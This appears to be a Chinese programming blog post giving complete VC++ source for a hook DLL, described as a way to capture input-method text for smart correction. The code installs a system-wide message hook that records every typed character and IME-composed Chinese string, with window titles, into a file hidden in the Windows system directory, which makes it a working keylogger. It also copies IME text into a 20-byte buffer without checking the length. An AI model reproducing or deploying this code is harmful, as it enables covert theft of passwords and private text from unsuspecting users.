VC++截取输入法输入信息钩子dll实现

我们在实现输入法的智能纠正的时候，需要获取输入法输入的信息，如何实现呢，钩子如下

#include "windows.h"
#include "imm.h"
#include "stdio.h"

//#define HOOK_API __declspec(dllexport) 

HHOOK        g_hHook            = NULL;        //hook句柄
HINSTANCE  g_hHinstance    = NULL;        //程序句柄
HWND         LastFocusWnd  = 0;//上一次句柄,必须使全局的
HWND         FocusWnd;         //当前窗口句柄，必须使全局的  

char title[256];              //获得窗口名字 
char *ftemp;                //begin/end 写到文件里面
char temptitle[256]="<<标题：";  //<<标题：窗口名字>>
char t[2]={0,0};              //捕获单个字母
void writefile(char *lpstr)
{//保存为文件
	FILE* f1;
	char cmd[256];
	GetSystemDirectory(cmd,256);
    strcat(cmd,"\\hooktxt.txt");
    f1=fopen(cmd,"a+");
    fwrite(lpstr,strlen(lpstr),1,f1);
    fclose(f1);
}
void writtitle()
{//保存当前窗口
	FocusWnd = GetActiveWindow();
	if(LastFocusWnd != FocusWnd)
	{
		ftemp="\n---------End----------\n";
		writefile(ftemp);
		ftemp="\n--------begin---------\n";
		writefile(ftemp);
		GetWindowText(FocusWnd, title, 256);  //当前窗口标题
		LastFocusWnd = FocusWnd;
		strcat(temptitle,title);
		strcat(temptitle,">>\n");
		writefile(temptitle);
	}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{ 
    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //先获取当前正在输入的窗口的输入法句柄
                    hIMC = ImmGetContext(hWnd);
                       // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                    // 缓冲区大小要加上字符串的NULL结束符大小,
                    //   考虑到UNICODE
                    dwSize += sizeof(WCHAR);

                    memset(lpstr, 0, 20);

                    // 再调用一次.ImmGetCompositionString获取字符串
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
                    //现在lpstr里面即是输入的汉字了。
					writtitle();                //保存当前窗口
					writefile(lpstr);           //保存为文件
                    ImmReleaseContext(hWnd, hIMC);
				}
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
			    char ch,str[10];
			    ch=(char)(pmsg->wParam);
			    if (ch>=32 && ch<=126)           //可见字符
				{ 
					writtitle();
					t[0]=ch;
					writefile(t);
				}
				if (ch>=8 && ch<=31)			 //控制字符
				{
					switch(ch)
					{
					    case 8:
							strcpy(str,"[退格]");
							break;
					    case 9:
							strcpy(str,"[TAB]");
							break;
					    case 13:
							strcpy(str,"[Enter]");
							break;
						default:strcpy(str,"n");
					}
					if (strcmp(str,"n"))
					{
						writtitle();
				    	writefile(str);
					}
				}

			}
            break;
        }
    }
	LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
 
    return(lResult);
}

//HOOK_API BOOL InstallHook()
BOOL InstallHook()
{
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
}

//HOOK_API BOOL UnHook()
BOOL UnHook()
{       
    return UnhookWindowsHookEx(g_hHook);
} 

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hHinstance=HINSTANCE(hModule);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}